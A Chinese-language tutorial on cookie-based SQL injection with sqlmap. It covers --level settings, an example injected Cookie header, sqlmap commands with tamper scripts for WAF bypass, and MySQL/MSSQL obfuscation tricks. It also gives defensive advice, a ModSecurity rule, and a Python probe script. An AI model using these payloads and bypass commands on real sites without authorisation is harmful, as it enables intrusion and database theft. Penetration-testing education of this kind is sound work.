当前位置：首页 > news >正文

sqlmap Cookie注入深度解析：--level参数与WAF绕过实战指南

news 2026/7/8 20:07:08

SQLMap高级Cookie注入与WAF绕过实战手册

1. Cookie注入的核心原理与检测机制

HTTP Cookie作为Web应用维持会话状态的核心组件，常被开发者用于存储用户身份凭证。但鲜为人知的是，当服务端未对Cookie值进行严格过滤时，攻击者可通过篡改Cookie参数实施SQL注入。与传统GET/POST注入相比，这种攻击具有以下特征：

隐蔽性强：Cookie数据不会出现在URL或请求体中，常规安全设备往往忽略检测
绕过基础防护：多数WAF默认仅监控GET/POST参数，需要特殊配置才会检查Cookie
持久性高：恶意Cookie可长期保存在受害者浏览器中，实现持续攻击

SQLMap通过--level参数控制检测范围，其层级机制如下表所示：

检测等级	覆盖范围
Level 1	仅测试GET/POST参数（默认）
Level 2	增加Cookie检测
Level 3	扩展至User-Agent和Referer头部
Level 4	包含Host头部检测
Level 5	全头部检测+JSON/XML参数解析

典型漏洞场景示例：

GET /dashboard HTTP/1.1 Host: vuln-site.com Cookie: user_id=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables));--

2. 实战环境搭建与基础检测

2.1 靶场环境配置

推荐使用DVWA或sqli-labs模拟存在Cookie注入的漏洞环境。以sqli-labs Less-20为例：

启动靶场服务

docker run -d -p 8080:80 acgpiano/sqli-labs

访问http://localhost:8080/Less-20/并登录
使用浏览器开发者工具捕获Cookie值

2.2 基础检测命令

sqlmap -u "http://localhost:8080/Less-20/" \ --cookie="uname=admin*" \ --level=2 \ --batch

关键参数解析：

*标记注入点位置
--batch自动选择默认选项
--level=2启用Cookie检测

注意：实际测试时应先使用--risk=1低风险模式，避免破坏数据

3. 高级绕过技术与WAF对抗

3.1 常见WAF拦截特征

现代WAF通常通过以下机制防御注入攻击：

关键词黑名单（SELECT, UNION, CONCAT等）
特殊字符过滤（单引号、注释符等）
请求频率监控
异常参数长度检测

3.2 SQLMap绕过方案组合

3.2.1 Tamper脚本矩阵

脚本名称	功能描述	适用场景
space2comment	空格转/**/	过滤空格的WAF
charencode	URL编码转换	字符检查严格的系统
randomcase	随机大小写	大小写敏感检测
equaltolike	= 转 LIKE	等号过滤
modsecurityzeroversioned	去除版本信息	ModSecurity规则触发

实战命令示例：

sqlmap -u "http://target.com/admin" \ --cookie="sessionid=1*" \ --tamper="space2comment,randomcase" \ --level=3 \ --delay=2

3.2.2 请求流量控制参数

--delay=1 # 每个请求间隔1秒 --timeout=15 # 连接超时设置为15秒 --retries=3 # 失败请求重试次数 --threads=2 # 并发线程数控制

3.3 数据库特性利用技巧

不同数据库的绕过技巧：

MySQL:

/*!50000SELECT*/ 1 # 版本特定语法 SET @var=CONCAT(CHAR(83),CHAR(69),CHAR(76)); # 字符编码拼接

MSSQL:

DECLARE @x NVARCHAR(100)=CHAR(83)+CHAR(69); # 变量声明方式 SELECT * FROM OPENQUERY(LOCALSERVER,'SELECT 1') # 分布式查询

4. 企业级防护方案与检测报告

4.1 防御措施建议

输入验证：

// PHP示例：Cookie值过滤 $clean_id = preg_replace('/[^0-9]/', '', $_COOKIE['userid']);

最小权限原则：

CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'strongpass'; GRANT SELECT ON appdb.* TO 'webuser'@'localhost';

WAF规则配置：

# ModSecurity规则示例 SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES "@detectSQLi" \ "id:10001,phase:2,deny,msg:'SQL Injection Attempt'"

4.2 渗透测试报告要点

漏洞定位截图（包含HTTP请求/响应）
风险等级评估（CVSS评分）
具体复现步骤
修复时间线建议
长期监控方案

5. 自动化检测脚本开发

以下Python脚本可辅助识别基础Cookie注入漏洞：

import requests from urllib.parse import quote def check_cookie_injection(url, cookie_name): test_payloads = [ "'", "\"", "1 AND 1=1", "1 AND 1=2" ] for payload in test_payloads: cookies = {cookie_name: payload} try: r = requests.get(url, cookies=cookies) if "error" in r.text.lower() or "syntax" in r.text.lower(): return f"Vulnerable to cookie injection with payload: {payload}" except Exception as e: print(f"Error testing {payload}: {str(e)}") return "No basic cookie injection detected" # 使用示例 print(check_cookie_injection("http://test.com/profile", "user_id"))